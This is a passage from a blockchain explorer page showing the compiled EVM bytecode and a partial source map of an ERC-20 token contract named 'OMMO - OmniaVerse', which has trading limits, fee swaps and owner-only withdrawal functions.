5f82611c1957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9c1b89b7de53f9035fca286e8c61c1418080380b38636f8c563b58895de29c564736f6c63430008170033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b4114610309578063a9059cbb14610335578063bf474bed14610354578063c9567bf914610369578063dd62ed3e1461037d575f80fd5b8063751039fc146102865780637d1db4a51461029a5780638cd4426d146102af5780638da5cb5b146102ce5780638f9a55c0146102f4575f80fd5b806323b872dd116100e357806323b872dd146101f0578063313ce5671461020f57806351bc3c851461022a57806370a082311461023e578063715018a614610272575f80fd5b806306fdde0314610129578063095ea7b3146101745780630f299cf1146101a35780630faee56f146101b957806318160ddd146101dc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260118152704f4d4d4f202d204f6d6e6961566572736560781b60208201525b60405161016b9190611858565b60405180910390f35b34801561017f575f80fd5b5061019361018e3660046118b8565b6103c1565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b76103d7565b005b3480156101c4575f80fd5b506101ce60105481565b60405190815260200161016b565b3480156101e7575f80fd5b506101ce610442565b3480156101fb575f80fd5b5061019361020a3660046118e2565b610463565b34801561021a575f80fd5b506040516012815260200161016b565b348015610235575f80fd5b506101b76104ca565b348015610249575f80fd5b506101ce610258366004611920565b6001600160a01b03165f9081526001602052604090205490565b34801561027d575f80fd5b506101b761051b565b348015610291575f80fd5b506101b761058c565b3480156102a5575f80fd5b506101ce600d5481565b3480156102ba575f80fd5b506101b76102c93660046118b8565b610640565b3480156102d9575f80fd5b505f546040516001600160a01b03909116815260200161016b565b3480156102ff575f80fd5b506101ce600e5481565b348015610314575f80fd5b506040805180820190915260048152634f4d4d4f60e01b602082015261015e565b348015610340575f80fd5b5061019361034f3660046118b8565b610760565b34801561035f575f80fd5b506101ce600f5481565b348015610374575f80fd5b506101b761076c565b348015610388575f80fd5b506101ce61039736600461193b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103cd338484610b1a565b5060015b92915050565b5f546001600160a01b031633146104095760405162461bcd60e51b815260040161040090611972565b60405180910390fd5b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561043f573d5f803e3d5ffd5b50565b5f61044f6012600a611a9b565b61045e9064174876e800611aa9565b905090565b5f61046f848484610c3d565b6104c084336104bb85604051806060016040528060288152602001611c1f602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906114d4565b610b1a565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104e9575f80fd5b305f908152600160205260409020548015610507576105078161150c565b478015610517576105178161167c565b5050565b5f546001600160a01b031633146105445760405162461bcd60e51b815260040161040090611972565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b55760405162461bcd60e51b815260040161040090611972565b6105c16012600a611a9b565b6105d09064174876e800611aa9565b600d556105df6012600a611a9b565b6105ee9064174876e800611aa9565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061e6012600a611a9b565b61062d9064174876e800611aa9565b60405190815260200160405180910390a1565b6004546001600160a01b0316336001600160a01b03161461065f575f80fd5b6040516370a0823160e01b81523060048201525f906106e0906064906106da9085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d49190611ac0565b906116b3565b90611738565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610736573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075a9190611ad7565b50505050565b5f6103cd338484610c3d565b5f546001600160a01b031633146107955760405162461bcd60e51b815260040161040090611972565b601254600160a01b900460ff16156107ef5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610400565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561083990309061082a6012600a611a9b565b6104bb9064174876e800611aa9565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610889573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ad9190611af6565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109309190611af6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561097a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099e9190611af6565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306109e5816001600160a01b03165f9081526001602052604090205490565b5f806109f85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a5e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a839190611b11565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ad8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afc9190611ad7565b506012805462ff00ff60a01b19166201000160a01b17905543601355565b6001600160a01b038316610b7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610400565b6001600160a01b038216610bdd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610400565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610400565b6001600160a01b038216610d035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610400565b5f8111610d645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610400565b5f80546001600160a01b03858116911614801590610d8f57505f546001600160a01b03848116911614155b8015610da957506004546001600160a01b03848116911614155b1561112c57610dd56103e86106da600954600c5411610dca57600554610dce565b6007545b85906116b3565b6012549091506001600160a01b038581169116148015610e0357506011546001600160a01b03848116911614155b8015610e2757506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0d57600d54821115610e7e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610400565b600e5482610ea0856001600160a01b03165f9081526001602052604090205490565b610eaa9190611b3c565b1115610ef85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865205f6d617857616c6c657453697a650000000000006044820152606401610400565b600c8054905f610f0783611b4f565b91905055505b6012546001600160a01b03848116911614801590610f4357506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc257600e5482610f6a856001600160a01b03165f9081526001602052604090205490565b610f749190611b3c565b1115610fc25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865205f6d617857616c6c657453697a650000000000006044820152606401610400565b6012546001600160a01b038481169116148015610fe857506001600160a01b0384163014155b15611016576110136103e86106da600a54600c541161100957600654610dce565b60085485906116b3565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561104c57506012546001600160a01b038581169116145b80156110615750601254600160b01b900460ff165b801561106e5750600f5481115b801561107d5750600b54600c54115b1561112a57601654431115611091575f6014555b6003601454106110e35760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610400565b6111006110fb846110f684601054611779565b611779565b61150c565b478015611110576111104761167c565b60148054905f61111f83611b4f565b909155505043601655505b505b6001600160a01b0384165f9081526003602052604090205460ff168061116957506001600160a01b0383165f9081526003602052604090205460ff165b801561118257505f546001600160a01b03858116911614155b801561119757506001600160a01b0384163014155b80156111ac57506001600160a01b0383163014155b156111b657426015555b6001600160a01b0384165f9081526003602052604090205460ff1680156111f85750601354600b546009546111eb9190611b3c565b6111f59190611b3c565b43115b1561126c576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061125e9086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff161580156112ac57506001600160a01b0383165f9081526003602052604090205460ff16155b156113a0576012546001600160a01b0384811691161461136d576001600160a01b0383165f908152601760205260408120805490910361133f576012546001600160a01b039081169086160361132057600b54600c541161131757611312600142611b67565b611319565b425b8155611367565b6001600160a01b0385165f908152601760205260409020548155611367565b6001600160a01b0385165f90815260176020526040902080548254111561136557805482555b505b506113a0565b6001600160a01b0384165f90815260176020526040902042600182015560155481546113999190611b67565b6002909101555b801561141857305f908152600160205260409020546113bf908261178d565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140f9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461143a90836117eb565b6001600160a01b0385165f9081526001602052604090205561147d61145f83836117eb565b6001600160a01b0385165f908152600160205260409020549061178d565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114c685856117eb565b60405190815260200161125e565b5f81848411156114f75760405162461bcd60e51b81526004016104009190611858565b505f6115038486611b67565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061155257611552611b7a565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115cd9190611af6565b816001815181106115e0576115e0611b7a565b6001600160a01b0392831660209182029290920101526011546116069130911684610b1a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061163e9085905f90869030904290600401611b8e565b5f604051808303815f87803b158015611655575f80fd5b505af1158015611667573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610517573d5f803e3d5ffd5b5f825f036116c257505f6103d1565b5f6116cd8385611aa9565b9050826116da8583611bff565b146117315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610400565b9392505050565b5f61173183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061182c565b5f8183116117875782611731565b50919050565b5f806117998385611b3c565b9050838110156117315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610400565b5f61173183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d4565b5f818361184c5760405162461bcd60e51b81526004016104009190611858565b505f6115038486611bff565b5f602080835283518060208501525f5b8181101561188457858101830151858201604001528201611868565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461043f575f80fd5b5f80604083850312156118c9575f80fd5b82356118d4816118a4565b946020939093013593505050565b5f805f606084860312156118f4575f80fd5b83356118ff816118a4565b9250602084013561190f816118a4565b929592945050506040919091013590565b5f60208284031215611930575f80fd5b8135611731816118a4565b5f806040838503121561194c575f80fd5b8235611957816118a4565b91506020830135611967816118a4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156119f557815f19048211156119db576119db6119a7565b808516156119e857918102915b93841c93908002906119c0565b509250929050565b5f82611a0b575060016103d1565b81611a1757505f6103d1565b8160018114611a2d5760028114611a3757611a53565b60019150506103d1565b60ff841115611a4857611a486119a7565b50506001821b6103d1565b5060208310610133831016604e8410600b8410161715611a76575081810a6103d1565b611a8083836119bb565b805f1904821115611a9357611a936119a7565b029392505050565b5f61173160ff8416836119fd565b80820281158282048414176103d1576103d16119a7565b5f60208284031215611ad0575f80fd5b5051919050565b5f60208284031215611ae7575f80fd5b81518015158114611731575f80fd5b5f60208284031215611b06575f80fd5b8151611731816118a4565b5f805f60608486031215611b23575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103d1576103d16119a7565b5f60018201611b6057611b606119a7565b5060010190565b818103818111156103d1576103d16119a7565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611bde5784516001600160a01b031683529383019391830191600101611bb9565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611c1957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9c1b89b7de53f9035fca286e8c61c1418080380b38636f8c563b58895de29c564736f6c63430008170033

Deployed Bytecode Sourcemap

4473:10046:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6591:83;;;;;;;;;;-1:-1:-1;6661:5:0;;;;;;;;;;;;-1:-1:-1;;;6661:5:0;;;;6591:83;;;;;;;:::i;:::-;;;;;;;;7424:161;;;;;;;;;;-1:-1:-1;7424:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7424:161:0;1023:187:1;12915:114:0;;;;;;;;;;;;;:::i;:::-;;5542:54;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5542:54:0;1215:177:1;6868:95:0;;;;;;;;;;;;;:::i;7593:313::-;;;;;;;;;;-1:-1:-1;7593:313:0;;;;;:::i;:::-;;:::i;6777:83::-;;;;;;;;;;-1:-1:-1;6777:83:0;;5150:2;2000:36:1;;1988:2;1973:18;6777:83:0;1858:184:1;13852:349:0;;;;;;;;;;;;;:::i;6971:119::-;;;;;;;;;;-1:-1:-1;6971:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7064:18:0;7037:7;7064:18;;;:9;:18;;;;;;;6971:119;3554:148;;;;;;;;;;;;;:::i;12748:159::-;;;;;;;;;;;;;:::i;5348:56::-;;;;;;;;;;;;;;;;14213:266;;;;;;;;;;-1:-1:-1;14213:266:0;;;;;:::i;:::-;;:::i;3340:79::-;;;;;;;;;;-1:-1:-1;3378:7:0;3405:6;3340:79;;-1:-1:-1;;;;;3405:6:0;;;2445:51:1;;2433:2;2418:18;3340:79:0;2299:203:1;5411:58:0;;;;;;;;;;;;;;;;6682:87;;;;;;;;;;-1:-1:-1;6754:7:0;;;;;;;;;;;;-1:-1:-1;;;6754:7:0;;;;6682:87;;7098:167;;;;;;;;;;-1:-1:-1;7098:167:0;;;;;:::i;:::-;;:::i;5476:59::-;;;;;;;;;;;;;;;;13137:707;;;;;;;;;;;;;:::i;7273:143::-;;;;;;;;;;-1:-1:-1;7273:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7381:18:0;;;7354:7;7381:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7273:143;7424:161;7499:4;7516:39;1175:10;7539:7;7548:6;7516:8;:39::i;:::-;-1:-1:-1;7573:4:0;7424:161;;;;;:::o;12915:114::-;3467:6;;-1:-1:-1;;;;;3467:6:0;1175:10;3467:22;3459:67;;;;-1:-1:-1;;;3459:67:0;;;;;;;:::i;:::-;;;;;;;;;12978:10:::1;::::0;12970:51:::1;::::0;-1:-1:-1;;;;;12978:10:0;;::::1;::::0;12999:21:::1;12970:51:::0;::::1;;;::::0;12978:10:::1;12970:51:::0;12978:10;12970:51;12999:21;12978:10;12970:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12915:114::o:0;6868:95::-;6921:7;5209:13;5150:2;5209;:13;:::i;:::-;5194:28;;:12;:28;:::i;:::-;6941:14;;6868:95;:::o;7593:313::-;7691:4;7708:36;7718:6;7726:9;7737:6;7708:9;:36::i;:::-;7755:121;7764:6;1175:10;7786:89;7824:6;7786:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7786:19:0;;;;;;:11;:19;;;;;;;;1175:10;7786:33;;;;;;;;;;:37;:89::i;:::-;7755:8;:121::i;:::-;-1:-1:-1;7894:4:0;7593:313;;;;;:::o;13852:349::-;13915:10;;-1:-1:-1;;;;;13915:10:0;1175;-1:-1:-1;;;;;13901:24:0;;13893:33;;;;;;13976:4;13937:20;7064:18;;;:9;:18;;;;;;13996:16;;13993:75;;14026:30;14043:12;14026:16;:30::i;:::-;14097:21;14132:12;;14129:65;;14158:24;14171:10;14158:12;:24::i;:::-;13882:319;;13852:349::o;3554:148::-;3467:6;;-1:-1:-1;;;;;3467:6:0;1175:10;3467:22;3459:67;;;;-1:-1:-1;;;3459:67:0;;;;;;;:::i;:::-;3661:1:::1;3645:6:::0;;3624:40:::1;::::0;-1:-1:-1;;;;;3645:6:0;;::::1;::::0;3624:40:::1;::::0;3661:1;;3624:40:::1;3692:1;3675:19:::0;;-1:-1:-1;;;;;;3675:19:0::1;::::0;;3554:148::o;12748:159::-;3467:6;;-1:-1:-1;;;;;3467:6:0;1175:10;3467:22;3459:67;;;;-1:-1:-1;;;3459:67:0;;;;;;;:::i;:::-;5209:13:::1;5150:2;5209;:13;:::i;:::-;5194:28;::::0;:12:::1;:28;:::i;:::-;12801:12;:22:::0;5209:13:::1;5150:2;5209;:13;:::i;:::-;5194:28;::::0;:12:::1;:28;:::i;:::-;12834:14;:22:::0;12872:27:::1;5209:13;5150:2;5209;:13;:::i;:::-;5194:28;::::0;:12:::1;:28;:::i;:::-;12872:27;::::0;1361:25:1;;;1349:2;1334:18;12872:27:0::1;;;;;;;12748:159::o:0;14213:266::-;14311:10;;-1:-1:-1;;;;;14311:10:0;1175;-1:-1:-1;;;;;14297:24:0;;14289:33;;;;;;14351:41;;-1:-1:-1;;;14351:41:0;;14386:4;14351:41;;;2445:51:1;14333:15:0;;14351:63;;14410:3;;14351:54;;14397:7;;-1:-1:-1;;;;;14351:26:0;;;;;2418:18:1;;14351:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54::i;:::-;:58;;:63::i;:::-;14451:10;;;14425:46;;-1:-1:-1;;;14425:46:0;;-1:-1:-1;;;;;14451:10:0;;;14425:46;;;5314:51:1;;;;5381:18;;;5374:34;;;14333:81:0;;-1:-1:-1;14425:25:0;;;;;;5287:18:1;;14425:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14278:201;14213:266;;:::o;7098:167::-;7176:4;7193:42;1175:10;7217:9;7228:6;7193:9;:42::i;13137:707::-;3467:6;;-1:-1:-1;;;;;3467:6:0;1175:10;3467:22;3459:67;;;;-1:-1:-1;;;3459:67:0;;;;;;;:::i;:::-;13201:11:::1;::::0;-1:-1:-1;;;13201:11:0;::::1;;;13200:12;13192:47;;;::::0;-1:-1:-1;;;13192:47:0;;5903:2:1;13192:47:0::1;::::0;::::1;5885:21:1::0;5942:2;5922:18;;;5915:30;5981:25;5961:18;;;5954:53;6024:18;;13192:47:0::1;5701:347:1::0;13192:47:0::1;13250:15;:80:::0;;-1:-1:-1;;;;;;13250:80:0::1;13287:42;13250:80:::0;;::::1;::::0;;;13341:58:::1;::::0;13358:4:::1;::::0;5209:13:::1;5150:2;5209;:13;:::i;:::-;5194:28;::::0;:12:::1;:28;:::i;13341:58::-;13444:15;;;;;;;;;-1:-1:-1::0;;;;;13444:15:0::1;-1:-1:-1::0;;;;;13444:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13426:55:0::1;;13490:4;13497:15;;;;;;;;;-1:-1:-1::0;;;;;13497:15:0::1;-1:-1:-1::0;;;;;13497:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13426:94;::::0;-1:-1:-1;;;;;;13426:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6539:15:1;;;13426:94:0::1;::::0;::::1;6521:34:1::0;6591:15;;6571:18;;;6564:43;6456:18;;13426:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13410:13;:110:::0;;-1:-1:-1;;;;;13410:110:0;;::::1;-1:-1:-1::0;;;;;;13410:110:0;;::::1;;::::0;;13531:15:::1;::::0;::::1;:31;13570:21;13601:4;13607:24;13601:4:::0;-1:-1:-1;;;;;7064:18:0;7037:7;7064:18;;;:9;:18;;;;;;;6971:119;13607:24:::1;13632:1;13634::::0;13636:7:::1;3378::::0;3405:6;-1:-1:-1;;;;;3405:6:0;;3340:79;13636:7:::1;13531:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13531:129:0;;;-1:-1:-1;;;;;6977:15:1;;;13531:129:0::1;::::0;::::1;6959:34:1::0;7009:18;;;7002:34;;;;7052:18;;;7045:34;;;;7095:18;;;7088:34;7159:15;;;7138:19;;;7131:44;13644:15:0::1;7191:19:1::0;;;7184:35;6893:19;;13531:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13678:13:0::1;::::0;13709:15:::1;::::0;13671:71:::1;::::0;-1:-1:-1;;;13671:71:0;;-1:-1:-1;;;;;13709:15:0;;::::1;13671:71;::::0;::::1;5314:51:1::0;-1:-1:-1;;5381:18:1;;;5374:34;13678:13:0;::::1;::::0;-1:-1:-1;13671:29:0::1;::::0;5287:18:1;;13671:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13753:11:0::1;:18:::0;;-1:-1:-1;;;;13782:18:0;-1:-1:-1;;;13782:18:0;;;13824:12:::1;13811:10;:25:::0;13137:707::o;7914:335::-;-1:-1:-1;;;;;8007:19:0;;7999:68;;;;-1:-1:-1;;;7999:68:0;;8022:2:1;7999:68:0;;;8004:21:1;8061:2;8041:18;;;8034:30;8100:34;8080:18;;;8073:62;-1:-1:-1;;;8151:18:1;;;8144:34;8195:19;;7999:68:0;7820:400:1;7999:68:0;-1:-1:-1;;;;;8086:21:0;;8078:68;;;;-1:-1:-1;;;8078:68:0;;8427:2:1;8078:68:0;;;8409:21:1;8466:2;8446:18;;;8439:30;8505:34;8485:18;;;8478:62;-1:-1:-1;;;8556:18:1;;;8549:32;8598:19;;8078:68:0;8225:398:1;8078:68:0;-1:-1:-1;;;;;8157:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8209:32;;1361:25:1;;;8209:32:0;;1334:18:1;8209:32:0;;;;;;;7914:335;;;:::o;8257:3884::-;-1:-1:-1;;;;;8345:18:0;;8337:68;;;;-1:-1:-1;;;8337:68:0;;8830:2:1;8337:68:0;;;8812:21:1;8869:2;8849:18;;;8842:30;8908:34;8888:18;;;8881:62;-1:-1:-1;;;8959:18:1;;;8952:35;9004:19;;8337:68:0;8628:401:1;8337:68:0;-1:-1:-1;;;;;8424:16:0;;8416:64;;;;-1:-1:-1;;;8416:64:0;;9236:2:1;8416:64:0;;;9218:21:1;9275:2;9255:18;;;9248:30;9314:34;9294:18;;;9287:62;-1:-1:-1;;;9365:18:1;;;9358:33;9408:19;;8416:64:0;9034:399:1;8416:64:0;8508:1;8499:6;:10;8491:64;;;;-1:-1:-1;;;8491:64:0;;9640:2:1;8491:64:0;;;9622:21:1;9679:2;9659:18;;;9652:30;9718:34;9698:18;;;9691:62;-1:-1:-1;;;9769:18:1;;;9762:39;9818:19;;8491:64:0;9438:405:1;8491:64:0;8566:17;3405:6;;-1:-1:-1;;;;;8600:15:0;;;3405:6;;8600:15;;;;:32;;-1:-1:-1;3378:7:0;3405:6;-1:-1:-1;;;;;8619:13:0;;;3405:6;;8619:13;;8600:32;:52;;;;-1:-1:-1;8642:10:0;;-1:-1:-1;;;;;8636:16:0;;;8642:10;;8636:16;;8600:52;8596:1632;;;8679:77;8751:4;8679:67;8701:15;;8691:9;;:25;8690:55;;8731:14;;8690:55;;;8718:12;;8690:55;8679:6;;:10;:67::i;:77::-;8785:13;;8669:87;;-1:-1:-1;;;;;;8777:21:0;;;8785:13;;8777:21;:53;;;;-1:-1:-1;8814:15:0;;-1:-1:-1;;;;;8802:28:0;;;8814:15;;8802:28;;8777:53;:80;;;;-1:-1:-1;;;;;;8835:22:0;;;;;;:18;:22;;;;;;;;8834:23;8777:80;8773:307;;;8894:12;;8886:6;:20;;8878:58;;;;-1:-1:-1;;;8878:58:0;;10050:2:1;8878:58:0;;;10032:21:1;10089:2;10069:18;;;10062:30;10128:27;10108:18;;;10101:55;10173:18;;8878:58:0;9848:349:1;8878:58:0;8989:14;;8979:6;8963:13;8973:2;-1:-1:-1;;;;;7064:18:0;7037:7;7064:18;;;:9;:18;;;;;;;6971:119;8963:13;:22;;;;:::i;:::-;:40;;8955:79;;;;-1:-1:-1;;;8955:79:0;;10534:2:1;8955:79:0;;;10516:21:1;10573:2;10553:18;;;10546:30;10612:28;10592:18;;;10585:56;10658:18;;8955:79:0;10332:350:1;8955:79:0;9053:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8773:307;9106:13;;-1:-1:-1;;;;;9100:19:0;;;9106:13;;9100:19;;;;:46;;-1:-1:-1;;;;;;9124:22:0;;;;;;:18;:22;;;;;;;;9123:23;9100:46;9096:166;;;9201:14;;9191:6;9175:13;9185:2;-1:-1:-1;;;;;7064:18:0;7037:7;7064:18;;;:9;:18;;;;;;;6971:119;9175:13;:22;;;;:::i;:::-;:40;;9167:79;;;;-1:-1:-1;;;9167:79:0;;10534:2:1;9167:79:0;;;10516:21:1;10573:2;10553:18;;;10546:30;10612:28;10592:18;;;10585:56;10658:18;;9167:79:0;10332:350:1;9167:79:0;9287:13;;-1:-1:-1;;;;;9281:19:0;;;9287:13;;9281:19;:44;;;;-1:-1:-1;;;;;;9304:21:0;;9320:4;9304:21;;9281:44;9278:174;;;9356:80;9431:4;9356:70;9378:16;;9368:9;;:26;9367:58;;9410:15;;9367:58;;;9396:13;;9356:6;;:10;:70::i;:80::-;9346:90;;9278:174;9517:4;9468:28;7064:18;;;:9;:18;;;;;;9543:6;;-1:-1:-1;;;9543:6:0;;;;9542:7;:30;;;;-1:-1:-1;9559:13:0;;-1:-1:-1;;;;;9553:19:0;;;9559:13;;9553:19;9542:30;:45;;;;-1:-1:-1;9576:11:0;;-1:-1:-1;;;9576:11:0;;;;9542:45;:90;;;;;9615:17;;9592:20;:40;9542:90;:124;;;;;9648:18;;9636:9;;:30;9542:124;9538:679;;;9705:13;;9690:12;:28;9686:90;;;9755:1;9743:9;:13;9686:90;9814:1;9802:9;;:13;9794:49;;;;-1:-1:-1;;;9794:49:0;;11029:2:1;9794:49:0;;;11011:21:1;11068:2;11048:18;;;11041:30;11107:25;11087:18;;;11080:53;11150:18;;9794:49:0;10827:347:1;9794:49:0;9862:69;9879:51;9883:6;9891:38;9895:20;9917:11;;9891:3;:38::i;:::-;9879:3;:51::i;:::-;9862:16;:69::i;:::-;9979:21;10023:22;;10019:106;;10070:35;10083:21;10070:12;:35::i;:::-;10143:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;10189:12:0;10173:13;:28;-1:-1:-1;9538:679:0;8654:1574;8596:1632;-1:-1:-1;;;;;10245:24:0;;;;;;:18;:24;;;;;;;;;:48;;-1:-1:-1;;;;;;10271:22:0;;;;;;:18;:22;;;;;;;;10245:48;10244:68;;;;-1:-1:-1;3378:7:0;3405:6;-1:-1:-1;;;;;10299:13:0;;;3405:6;;10299:13;;10244:68;:91;;;;-1:-1:-1;;;;;;10316:19:0;;10330:4;10316:19;;10244:91;:112;;;;-1:-1:-1;;;;;;10339:17:0;;10351:4;10339:17;;10244:112;10240:175;;;10388:15;10373:12;:30;10240:175;-1:-1:-1;;;;;10431:24:0;;;;;;:18;:24;;;;;;;;:94;;;;;10514:10;;10493:18;;10475:15;;:36;;;;:::i;:::-;:49;;;;:::i;:::-;10460:12;:64;10431:94;10427:301;;;-1:-1:-1;;;;;10570:15:0;;;;;;;:9;:15;;;;;;:24;;;;;;;10613:13;;;;;;;;;;:22;;;;;;10670:25;;;;;;10588:6;1361:25:1;;1349:2;1334:18;;1215:177;10670:25:0;;;;;;;;10710:7;8257:3884;;;:::o;10427:301::-;-1:-1:-1;;;;;10745:24:0;;;;;;:18;:24;;;;;;;;10744:25;:52;;;;-1:-1:-1;;;;;;10774:22:0;;;;;;:18;:22;;;;;;;;10773:23;10744:52;10740:1045;;;10823:13;;-1:-1:-1;;;;;10817:19:0;;;10823:13;;10817:19;10813:961;;-1:-1:-1;;;;;10884:15:0;;10857:24;10884:15;;;:11;:15;;;;;10922:12;;10884:1